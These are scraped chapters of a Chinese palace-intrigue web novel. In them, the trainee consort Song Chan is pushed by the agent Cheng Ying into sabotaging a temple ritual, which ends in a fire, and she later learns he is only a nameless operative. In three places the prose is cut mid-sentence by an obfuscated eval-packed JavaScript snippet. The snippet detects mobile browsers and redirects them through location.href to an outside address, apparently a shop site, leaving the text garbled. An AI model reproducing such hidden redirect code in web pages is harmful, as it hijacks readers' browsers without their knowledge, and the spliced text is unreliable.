周乐竹和阿彩照旧会与她一同温书，周乐竹时不时还会与她们分享些厨房送来的点心。张楚悦也不再似高岭之花一般难以企及，课余偶尔还会主动与宋蝉说笑。连素日里几乎不与旁人交谈的谢良媛，她如今偶尔也能搭上几句话了。 宋蝉以为这是课业压力减轻后，同窗间本就该有的和睦。她甚至暗自松了口气，以为是自己考核的成绩起了点作用，又或是磨合久了，大家的心性都沉淀了些。 她享受着这短暂的宁静，全然不知自己已被两股温和的暗流悄然裹挟，还沉浸其中。 这日习画，白画师布置了功课，叫宋蝉和孙瑶对着一盆盆景石榴写生。宋蝉在座位上挪了挪，愣愣的看着眼前这盆石榴，心里有些无措。 那盆景枝干盘曲，姿态是人为雕琢而成，叶片小而繁密，枝叶间还缀着几颗指甲盖大小的果子，层次纷繁复杂。 宋蝉捏着笔，一时不知该从何处下手。 学画满打满算也就两个月。这两个月以来，她是卯足了劲儿追赶，最熟练的也无非是画些轮廓分明的物件，以山石为主，或是形态简单的花卉。稍微难些的，也是照着白画师给出的范本，一丝不苟的临摹，笔触和形态都有依据可学。 这是她第一次需要自己揣摩和把握这复杂的盆景，她要用自己的眼睛去观察，再将其搬到纸上，这中间的差距，对她而言着实有些大。 宋蝉提起笔，眼睛直勾勾的看着那盆石榴枝干，又小心翼翼的落笔。她笔尖滞涩，勾勒出的枝叶浓淡都把握不好，叶片糊成了一片墨渍。她看着纸上那干涩的几笔，与自己眼中看到的弯曲灵动的盆景相差甚远，不禁轻轻叹了口气，将那张宣纸揉皱搁在一边。 她又铺开一张新纸，努力回想白先生平日讲授的观察之法。笔尖悬在纸面上方，正踌躇着该如何下笔，一个身影在她身侧悄然停下。 是张楚悦。她并未出声打扰，只是微微侧过身子，目光自然落向宋蝉悬停的笔尖，以及旁边那团失败的草稿。她看得很认真，带着一丝温和的笑意。阳光从窗格斜斜照进来，落在两人之间。 她开口，声色清润：“画盆景应该先看走势。” 宋蝉听到身旁来人，抬眼看去竟是张楚悦，不禁微微一怔。 张楚悦的目光却并未与她交接，而是专注的望着那盆景上：“这盆景的主枝向右斜出，这便是走势。” 宋蝉顺着她的话再去看那盆景，眼前纷乱的枝叶仿佛忽然有了些许条理。她没想到张良媛会主动帮她，更没想到这随口一提的建议，竟一下子点醒了她。 意外之余，心里那点没头绪的焦躁倒是消散了不少。 “无论画什么，先把筋骨画好了再描绘神采。”张楚悦说着借了只笔，起笔的动作行云流水，在宋蝉的宣纸旁描出了一个小小的草稿，手掌大小而已，画的却十分传神。 宋蝉看着她随手勾勒的小稿只觉得敬佩，寥寥数笔，甚至有些漫不经心，却已将那盆景的姿态捕捉的异常生动。她心中惊叹这画画的功力远非初学者所能绘就，刚想抬起头继续向张楚悦讨教，却发觉案边已空，张楚悦不知何时已悄然离开。 仿佛她刚才驻足，只是一时兴起，看了两眼盆景，随口说了句话而已。 宋蝉收回目光，重新落在眼前那灵气十足的小稿上，对照着自己笔下依旧笨拙的线条，心里不禁纳闷。张楚悦有这样随手即成的画技，为何没有选择修习画艺呢？ 是啊...张楚悦没有修习画艺，此时此刻怎么会出现在这呢？ 宋蝉将谢意和疑惑咽了回去，得了张楚悦几句提点，再下笔时，心中似乎有了些道理。笔触虽仍然稚嫩生涩，但总算有了自己的章法。 她埋首案前，专注的画了近三个时辰，待到暮色蔓延，一幅虽不够老练但神形兼备的盆景石榴跃然纸上。她画得太过专注，连画室里的人何时散尽了都未曾察觉。放下笔，宋蝉揉了揉酸涩的手腕，看着自己这耗费近三个时辰的成果，长舒了一口气，这才开始低头收拾散乱的画具。 却在脚边瞥见一枚小巧的珍珠耳坠。 宋蝉略微迟疑，将耳坠拾起来细看，如此圆润洁白的珍珠上还穿着金丝，这价值不菲的首饰想必是张良媛下午落下的。孙惠言栽赃自己偷窃的事情还历历在目，宋蝉握着这耳坠，心里只想尽快将这耳环物归原主。纵然天色有些晚，她还是寻到了张楚悦的门前。 她轻叩房门。片刻，门开了一道缝，应声而来的是张楚悦的侍女。那侍女迅速向宋蝉欠身，声音压的极低，恭敬又谨慎的回话：“张良媛她...身子有些不适，已经早早歇下了。特意吩咐了莫要让人打扰。若有事的话劳烦宋良媛您明日再来吧。” 循着侍女所说，宋蝉透过门缝望了一眼屋内，那间屋子一片漆黑，没有半分烛火的光亮透出，张楚悦果然是睡下了。 宋蝉不想将耳坠久留，只得道明来意，烦请侍女替她转交这耳环。那侍女先是应承了下来，拿了耳环进屋，可片刻后便追了出来。 那侍女将耳环又交还给了宋蝉，有些为难的向她解释：“张良媛已经歇下了，奴婢实在喊不动。奴婢也...也不敢代收这么贵重的首饰在身上。还请宋良媛暂且收着，明日亲自交给张良媛吧。” 捧着那圆润冰凉的珍珠耳坠，宋蝉站在渐浓的夜色里有些无措。 她只当是这侍女与自己一样是忌惮之前孙惠言的事，于是只得无奈摇摇头，回到了自己的房间中去，心里盘算着明日一早便将耳坠归还。 翌日早课前，宋蝉在廊下遇到了张楚悦，于是将用绢帕仔细包好的耳坠递还给她。宋蝉话说的客气：“昨日多谢你的指点。另外，我晚间在画室里拾到一枚耳坠，想着或许是你遗落的，便带来给你看看。若是你的，正好物归原主。” 张楚悦的目光落在宋蝉掌心那枚耳坠上，笑意似乎深了一些，有种游刃有余的自信。她不疾不徐的将耳坠拿回，拢入袖中。 “多谢。难为你细心，这的确是我的耳坠。”张楚悦微微向前倾身，向宋蝉道谢。随后她语气更加温柔，目光关切的询问道：“昨日看你画得投入，后来可还顺利？那盆景枝叶交错，初学写生是容易觉得棘手。” “若是还有哪里不明白，午后我倒是有些闲暇，可以帮你一同看看。” 正厅前的走廊下，张良媛与宋蝉并肩而立的身影映入周乐竹的眼帘。张楚悦的侧身对着她，姿态舒展，声音不高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164637|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不低，正好让她听清二人是在谈论画艺。宋蝉在另一侧微微仰着脸，神情专注，那副认真聆听的模样，落在周乐竹的眼里，像是顺从一般。 张楚悦似乎全然未觉周乐竹的到来，连眼风都未扫向她，依旧从容的给宋蝉讲解着，姿态自然而亲昵。周乐竹心想，莫非张良媛这是特意做给她看的。 她脸上未泄露分毫情绪，目光平淡的从两人身上移开，步履如常的走进正厅，在自己的案几前端正坐下。唯有置于案下的左手，指尖正一下下的敲打着光滑的漆面，透露出她心里并不像表面那般从容。 那是一种害怕被排除在外的细微焦虑，周乐竹有些不安。 早课结束，午膳时分将至。宋蝉收起书卷，意料之外的邀请叫她不知所措。一边，周乐竹和阿彩已如往常般收拾案几，三人目光交汇却并未说话，只以眼神示意了一下门口方向。这是她们之间惯有的默契，通常意味着一同吃午饭的信号。 可几乎就在同时，另一边也传来了声音。 张楚悦径直走向宋蝉，将周乐竹和阿彩的身影隔绝在远处。她亲切的邀请宋蝉：“我那儿收着几本花鸟册页，用笔设色都极清雅。不如...便去我那儿一同用午饭，顺道瞧瞧画册？我也好与你讲讲其中笔墨的妙处。” 周全又体面，若是拒绝了，以后不知道还有没有如此好的机会。 画技正是宋蝉此刻最需指点的痛处，她几乎想不出任何理由来婉拒张楚悦这份好意。可周乐竹与阿彩在一起也是寻常，她心里同样是不想拒绝的。 宋蝉心里忽然咯噔一下，过几日就要去宝通寺了，届时是两人一间厢房。张楚悦最近这些似有若无的亲近、恰到好处的指点，和此刻这不容推拒的邀约，难道都是为了这个？ 她虽不擅长这些弯弯绕绕的人情往来，但直觉和敏锐让她在此刻捕捉到了一丝不寻常的意味。 张楚悦的示好，并非毫无缘由。 宋蝉看向不远处的周乐竹和阿彩，两人的神色都有些讶异，只在远处静静等着，眼神里都带着些回避。 而身侧的张楚悦，依旧含笑看着她。她没有催促宋蝉回答，可那不容拒绝的气场，却比任何言语都更有分量。眼前这情势，让宋蝉感觉自己若在此刻生硬的拒绝她，反倒会显得有些不知好歹，甚至可能得罪了她。 宋蝉瞬间感到自己的脸颊有些微微发热，不知是不是受宠若惊的感觉。 她避开了周乐竹和阿彩的视线，面向张楚悦回答道：“多谢张良媛指点，正好我也有些细节想再请教你。” 话出口，便是做出了选择。 张楚悦稳操胜券般的笑了，淡淡回了一句：“好。” 她甚至没有去看周乐竹和阿彩的脸色，在她看来，宋蝉如此选择是理所当然。论家世与才学，自己给出的橄榄枝，就是唯一的明智之选。宋蝉若是跟随自己，即便最终无法晋升，单凭她张家的名帖与些许照拂，也足以让这样一个寒门女子后半生无忧了。 另一边周乐竹惯有的淡然模样似乎没有任何变化。她对宋蝉笑着点了点头，像是表示理解，随即转向身旁的有些震惊的阿彩，语气如常的说：“宋良媛即有约，那我们便先去吃饭吧。” 她极快的转身，裙角因动作扬起轻微的幅度，脚步轻盈的离开了正厅。阿彩来不及说上一句就赶忙跟上周乐竹，两人的背影一前一后，瞧着与平日倒并无二致。 24. 第 24 章 良媛们被各自引入寮房稍作安顿。寺院的房间确实比学院里的狭小不少，却处处显出一种含蓄的精致。 宋蝉跟在张楚悦身后踏入屋内，目光简单扫过。房间格局紧凑，右侧并排安置着两张窄小的床榻，中间仅以一道低矮的实木隔断略作区分，榻上铺着素净的寝具，墙角处还立着两个同样细长窄小的衣柜。 左边窗下，放置了两张小小的书案，案上有笔架与一方朴素的砚台，恰好能借得窗外天光。 中间留出的位置并不多，一张不大的四方桌并两把圈椅。最里侧的墙角，立着一个身形细高的多宝架。宋蝉不禁感叹这房间虽然不大，可每一寸空间都被妥帖利用。 这家具样式虽古朴，细看却不寻常。可木料确都泛着一种匀润的红褐色光泽，纹理细腻触手生温。即便在这清修之所，那份属于皇家的低调和考究，也无声的透了出来。 张楚悦一进门，目光便落在那多宝架上。她没有立即去把玩上面的物件，只用眼神掠过每一格，似乎在辨认那些瓷瓶的釉色、木雕的刀工。认真的模样不像是在看摆设，倒像在读一篇深沉的文章，她了然的欣赏着这些物件的精巧与雅意。 宋蝉在她身后，目光也随之扫过那些精巧物件，不过她的注意力很快被手边案几的触感吸引，不由得伸出手，轻轻拂过那张书案平滑的边缘。 木质坚硬，打磨的极其细腻，几乎感觉不到木纹的凸起，只有一种温润的凉意。她顺着那流畅的线条抚了抚，心里模糊的想到这桌子用的应该是十分珍贵的木料，与她平日见过的不太相同，但也仅止于此，更多的门道她便看不出了。 她只觉得整个房间都笼罩在一股好闻的气味里。 那是新擦拭过的上好木材散发出的，与窗外丝丝缕缕渗进来的寺院独有的檀香交融在一起，形成一种独特的、让人心神沉淀下来的安宁气息。宋蝉深吸了一口气，心觉若能在这里潜心学习，定能事半功倍。 欣赏片刻后，张楚悦便在圈椅上坐了下来，双手自然搭在扶手上，眼神却并未放空。 她正静静的看着正忙着收拾行李的宋蝉。张楚悦显然没有立刻动手整理的意思，她懒散坐着，姿态里有一种被服侍惯了的，无需亲自动手的坦然，只是看着。 宋蝉这边几乎是一刻也停不下来。她利落地打开自己简便的行李，将几件换洗的衣裳取出，一件件抚平褶痕后依序挂进小巧的衣柜里。放好了衣物，她又立刻转身取出几本从学院带来的经卷与抄录的功课，走到书案上边角对其的摆好。 做完这些她似乎仍觉得不满意，手上空落落的，于是又再次调整了一下经卷的位置，再用手帕拂了拂案面上本不存在的灰尘。 宋蝉知道自己为何停不下来。 她心底那根关于毁掉太后寿礼的弦始终紧绷着，在学院时每日被课业充斥着没有实感，现在真的设身处地了，焦虑的情绪便在她心底里沸腾了起来。 唯有让手脚不停做些具体琐碎的事情，才能勉强压住那股濒临崩溃的紧张情绪。 张楚悦将她这一连串流畅的动作尽收眼底，心里却大致有数了。她等宋蝉终于停下手中的活，坐在书桌前打开经卷开始读起来，才不紧不慢的起身，走向自己的那份行李包袱。她仿照着宋蝉方才的做法，从容的整理起来，动作虽稍显生涩，她缓慢的姿态却看不出丝毫生疏。 宋蝉没注意她，只坐在书桌前，摊开经卷撑着手发呆。 七日不间断的诵经祈福... 程映在信中倒是给过她一些指示。要么在关键时候装作身体不适打断典礼，要么弄出点意外。她盘算着，要她装作不适实在有些为难，掐好关键时间倒是还做得到，可要装的真的像不舒服的样子，她实在做不到。倒不如制造点小小的混乱，使其无法圆满。 这在某种程度上，算得上是毁掉了这份寿礼吧？ 宋蝉正沿着这条思路往下想该如何弄出乱子且不会被发现和怪罪时，面前的窗棂上传来极轻微的“噗”的一声响动。只见一只灰扑扑的信鸽落在了窗前，它收拢了翅膀，正歪着头用喙梳理羽毛，姿态轻松，可纤细的腿上明晃晃的绑着个纸条。 宋蝉的血液瞬间凝结，程映竟在白天直接了当的将信送到了她和张楚悦共处的房间！ 她惊恐的看向房间另一侧。万幸，张楚悦正背对着她，站在那小衣柜前，小心的将一件外衫往衣架上挂。她动作专注，皱着眉头思考如何能不让自己的衣物生出褶皱上，并未留意到身后宋蝉的动静。 宋蝉没有半分犹豫，迅速解开信鸽腿上的纸条，那信鸽腿上轻松，跳开两步便又飞向了天空。 她立刻将窗户掩上，剩下一条缝隙。她翻了翻眼前的经卷，将纸条在书页里捻开，假装自己正全神贯注的读书。上面的字迹是她熟悉的，内容却让她瞳孔骤缩： 兄已暂调后方。典礼需有表现，若无作为，兄长处境恐将生变。事在人为，望慎之周全。 信上每个字，宋蝉都反复看了好几遍，“需有表现”，“处境生变”。这意思...是不是之前设想的那种小打小闹，根本不够供他借题发挥吗？他需要的是更大的动静，起码要大到能作为保住哥哥留在后方的筹码。 若只是不适或打翻个小物件，恐怕会被轻易压下，于事无补。她越想心越沉。看来，必须得闹出点真正像样的乱子才行。 这样一来，这件事的难度与风险，何止倍增。 宋蝉将纸条紧紧攥回掌心，又迅速回头瞥了一眼张楚悦，张楚悦已挂好衣服，正慢条斯理的欣赏着自己亲自动手的成果，依旧没有看向这边。她定了定神，将纸条凑到书桌油灯的火焰上。这信纸迅速蜷曲焦黑，化为几片灰烬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164639|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傍晚，众人被引至寺中的饭厅。 这是宋蝉第一次见到如此多身着同样服饰的少女们齐聚一堂。除了桑平州府的六人，还有另外两州选拔上来的良媛，二十余张年轻的面孔，带着初来乍到的生涩与拘谨。 她们正值最好的年华，眉眼间本应漾着这个年纪特有的鲜活，可此刻，所有外露的情绪都收敛了着，没有人敢交谈，也没有人敢随意张望，二十余人都只是安静的站着，偶尔目光轻轻一触，便像受惊般迅速避开。 一样的衣衫，带着各自陌生的来历与相似的命运。宋蝉站在最后一排向前看去，仿佛看到了二十多个同样被放入模具中的正在静静凝固的自己。 还没由她思绪走远，斋饭很快由僧侣端上。 每人面前不过一碟水煮青菜、几块豆腐和一碗糙米粥。热气倒是足，只是那色泽实在谈不上有食欲。饭厅里的良媛们都默默动着筷子，几个良媛甚至眉头微蹙，显然觉得这膳食简陋。 但无人敢谈论眼前的菜色，更不用说抱怨，所有人只心领神会的把心底的厌弃和着米粥一起咽进了肚子里。 用罢斋饭，良媛们被重新引到会客的禅房。此刻宝通寺的主持已端坐于上首，待众人屏息静立后，开始详细讲解此次为期七日祝祷的详细事宜。 宋蝉认真听着，不敢漏下一处细节。 距离太后寿辰已不足半月，时间紧迫。从明日起所有良媛便需投入密集的预习与演练。最首要的便是熟记并流畅的诵念七日祝祷所用的全部经文。这些经卷必须在典礼开始前倒背如流，各州府的掌事姑姑每日会逐一严苛查验，不容半分差错。 其次是良媛们需要反复习练祝祷仪式中所有的行礼、跪拜、焚香、诵经等一系列礼仪动作。届时确保在庄严场合下，二十余人能整齐划一，宛如一体。 最后是最时间上的安排，因为七日的诵经不能停歇，需要昼夜不停，故良媛们将采用轮班制。每六人为一班，进入正殿诵经。每四个时辰进行一次轮换，由下一班接替。如此循环以确保香火与诵经声不间断。 听到这里，宋蝉倒觉得自己有了些机会。四个时辰一换，这意味着每个人都有进入正殿的机会，同时也拥有大段离开正殿，相对自由的时间。或许并不在典礼的中心，反而有可能设法从外部对典礼造成影响。 缝隙或许存在，但具体该如何下手呢？ 在众目睽睽的正殿内，既要闹出足够像样的动静，又要确保事后不被牵连。在这全然陌生的寺院里，还要神不知鬼不觉的凑齐能闹出动静的所需之物。 程映，是不是真的太看得起自己了？为何要做这种株连九族又大逆不道的事情。又为何将这般事关生死存亡的大事，押在她这样一个连自己命运都掌控不了的人身上。 宋蝉不禁轻轻叹了口气，闭上酸涩的眼睛。 31. 第 31 章 朝廷的旨意在火情第二日便下达了下来。措辞倒是意料之外，可以说是恩威并济，彰显天恩浩荡。 所谓恩，是为了给皇家，尤其是给太后体面，此事不宜大肆张扬。 而威，则全数实打实的落到了一干办事的官员的头上。寺内监管不严，地方协办不力，这失察之罪总需有人承担。贾掌事及各位州府的数位相关女官、州府属员，均被记过罚俸，等候进一步发落。 而宝通寺的住持大人被礼请入京，美其名曰向太后当面禀明佛事详情，为圣寿祈福。只是这一去，是复命还是抵命，无人敢多言。 寺中仔细的勘查了火场，朝廷也派来了专精勘验的吏员，在焦黑的后殿墙根、被烟熏火燎的梁柱周围反复勘察了数日。所有可能涉事的僧侣、负责洒扫看守的仆役，乃至那几日经过附近的人，都被清楚盘问。 查来查去，火源起处确实有供奉的油灯，现场也只有灯油猛烈燃烧的痕迹。所有询问皆指向日常管理的疏忽，没有发现任何明确指向人为纵火的物证或可信证词。 数日后，一份措辞严谨，证据充分的调查文书拟好。 这场险些酿成大祸的大火，在经历了一番雷声大雨点小的严密调查后，最终被盖棺定论为一起意外。 此事算是了结了。 事情虽了，可自大火之后，宋蝉便再未有过一夜安眠。虽然已经将此事定性为意外，将她所作所为变成了一笔糊涂账。 可真正的代价并非只有朝廷的惩处，还有她自己的心。那份因牵连无辜险些酿成大祸而生起的自责与愧疚，日复一日啃噬着她。 更令她不安的是，也许这件事并未真正过去。周乐竹那天的话像刀一样悬在头顶。现下看似平静，却不知会在未来的哪一刻，会以何种无法预料的方式骤然落下。 宋蝉日日都梦到自己的恶行被揭露，她倒不怕自己受罚，她自作自受是应得的，可她走到现在的唯一信念，每日梦里都在碎裂。 如果她因此事被处置掉，那么远在前线生死未卜的哥哥，还有谁能去救？ 此前所有的挣扎、妥协乃至犯下的罪孽，到最后万一连哥哥的一线生机都换不回。这比任何□□的惩罚都更残忍，夜复一夜的折磨着她仅存的心力。 枕头下，还压着程映不断送来的信，宋蝉一封也没有拆。 不是不想，而是不敢。信里或许有关切，或许有下一步的指令，但此刻，任何来自程映的声音，都会让她更加焦灼的面对自己这条越走越窄，已然看到尽头的绝路。她太累了，已经要被恐惧和愧疚抽干了。 她只是觉得不看程映的消息，或许还能偷得片刻麻木的喘息。 四日后，各州府的车驾悄悄的接走了所有良媛，良媛们个个面容憔悴，与来时声势浩大的阵仗截然不同。宝通寺山门紧闭，对外只称七日祝祷圆满，良媛归学，一切仿佛尘埃落定。 只是返回州府的路途比来时好像更加漫长和难熬。 马车颠簸，宋蝉无力的蜷在角落。连续多日的失眠和噩梦早已榨干她的精神，寺庙内每日又只有清减的斋饭，此刻加上车马颠簸，她的胃里更是空落落的灼烧。 她感觉自己像一株被连根拔起，曝晒在旱地上的草，生气正一点一滴的蒸发殆尽。 意识在车马的摇晃中逐渐模糊。耳畔张楚悦说话的声音、车轮的声响，都慢慢变得遥远而扭曲。宋蝉眼前忽明忽暗，最后，沉重的黑暗吞没了她所有感知。 她甚至没来得及发出一点预警的声音，身体便软软的歪倒下去，引的张楚悦惊呼。 再次恢复意识时，唤醒宋蝉的是钻入鼻腔的浓烈的草药与陈旧木头的气味。她费力睁开双眼，看到的却是陌生的屋顶，以及从窗棂透进来的天光。 身下是坚硬的板床和单薄的棉絮，上面简单铺着粗布单子。宋蝉茫然转动着眼珠，这里...绝对不是学院。混沌的脑子清醒了些许，她艰难的支撑着自己的身体坐了起来。 “醒了？” 熟悉的声音，是程映。 他又换上了一身浆洗的发白的宽大的布袍，袖口为了方便动作而特意收紧，头发也用布带整齐束起，周身敛去了之前官员的矜贵和扮作侍卫的朴实，倒真像个文邹邹的大夫。 “别乱动。你气虚血弱又惊悸伤神，现在需得好生静养。”他见宋蝉醒了，连忙朝着她的床边走来，脚步却停在了恰如其分的距离。 程映的目光扫过她惨白的面孔，在那眼下浓重的青黑色上停留一瞬又移开视线。他记忆里第一次见宋蝉，是在桑林县府衙的书房里。那时她的眼睛清亮还带着点机警，像林间初生的小鹿一般灵动。如今，那双眼睛里的光几乎熄灭了，只剩下疲惫与惊惶。 宋蝉的声音干涩嘶哑：“这是...何处？” “惠民医馆的偏厢。你晕厥在返程车上，气息微弱，寻常安顿已不合适，所以特例送你至此调理。”程映解释的流利，真像极了尽职的坐堂大夫。 “听着，你现在的病是心脉受损，需要绝对静卧。不得见风也不宜挪动。” 那套预先想好的说辞终于说完，程映表面上那层大夫的面具实在难以维持了。他闭了下双眼，胸膛深深起伏。 再睁开眼时，那假装医者的沉静已经荡然无存，取而代之的是一种焦灼，他向前迈了半步，无法按耐的开口，既是问询又是责备： “你看看你把自己折腾成了什么样子。”话到嘴边，又瞥见她苍白的几乎透明的脸色，后半句责备的力度不由自主软了下来，变成了一种更为复杂的语气， “我给你写的信，怎么一个字都不肯回？” 宋蝉迎着程映那双压抑着情绪的脸，那些盘旋在心底多日的疲倦和自厌，此刻都堵在了喉咙，她做不出任何辩解。半晌过去，宋蝉才彻底清醒过来，她自嘲般的开口：“回信...” “说什么呢？向你邀功吗？说我完美的完成了你交代的任务吗？” 她不是想要挑衅程映，只是嘲讽自己。宋蝉不再绕弯，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164646|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再试图维持她那点可怜的自尊假装自己是在与程映进行假意的交易。 “我现在只想知道...程大人，你能不能救出我哥哥。我愿意照你说的为你做任何事，求您，求您救我哥哥！”宋蝉的声音不受控制的发颤，每一个字都是发自肺腑。她此刻卑微的只求程映给她一个确切答案，她所有的底线开始崩塌殆尽。 程映不语，宋蝉也不再等待他的回答。 她咬紧牙关，用尽此刻所能调动的全身的力气，挣扎着要从那硬板床上挪下来。她的动作笨拙而艰难，虚弱的身体根本支撑不住，只是刚离开床沿便是一软，眼看就要狼狈的直接跪在冰冷的地面上。 在宋蝉膝盖即将触地前，程映急忙上前牢牢的箍住了她的胳膊，用提拽的力道将她半扶半按的带回床上坐稳。程映的动作称不上温柔，带着他惯常的不容分说的力道，阻止了她更加不堪的姿态。 “别跪我...” 程映扶住她的手臂没有松开，反而收得更紧了些。程映不想她再做傻事了，隔着单薄的衣料，他能清晰感觉到宋蝉手臂的纤细和无法抑制的颤抖。 “别跪我，没用的。”程映顿了顿，接下来的话，他难以启齿：“我...我根本不是什么手眼通天的程大人，更没你以为的那般无所不能。我只是个死士罢了，连名字都不必有的那种。” 他看着宋蝉骤然睁大的不可置信的眼睛，残酷的向她剖开自己最真实的处境：“我只能调动些人手，安排些机巧，那是因为我背后站着的是齐王世子，是我的主子。是他需要这把火，需要搅乱这滩混水。” “没有了主子的需要，我就什么都不是了。将你兄长的调到后方...已经是我能为你争取到的最大的好处了。” 随着他每一个字的说出，宋蝉脸上的血色就被抽干一点点。最后，连她嘴唇上最后那点微弱的颜色也彻底消失了，甚至隐隐透出青灰。她睁大眼睛空洞的看着程映，原来这才是她第一次真正看清这个人，不是巡察使，不是手眼通天的大人，只是一个连名字都是假的的死士。 她曾以为能拉她一把的贵人，此刻告诉她，自己从未真正搭上过这条救命稻草。 宋蝉觉得自己像是燃尽的烛火，马上就要熄灭了。她的视线似乎还落在他脸上，却又好像穿过了他，望着更绝望的虚空。 “你...”她喉咙里只能发出哽住的气音，却没能说出任何有意义的字句。 所有原本想说的话，所有的哀求都被这突如其来的现实堵死在了她的胸口，压的她连呼吸都感到阵痛。 看到宋蝉空洞的神色，程映也觉得自己的心口像被什么东西狠狠拧了一把。这种陌生的抽痛感让他烦躁，更让他无措。他从没有对别人袒露自己的无能为力，也从未和任何人产生过如此复杂的纠缠。 程映只能移开视线不再看她，不知是不忍还是不敢。他声音低的几乎听不见， “...是我不该，给你虚妄的指望。也是我低估了你要付的代价。”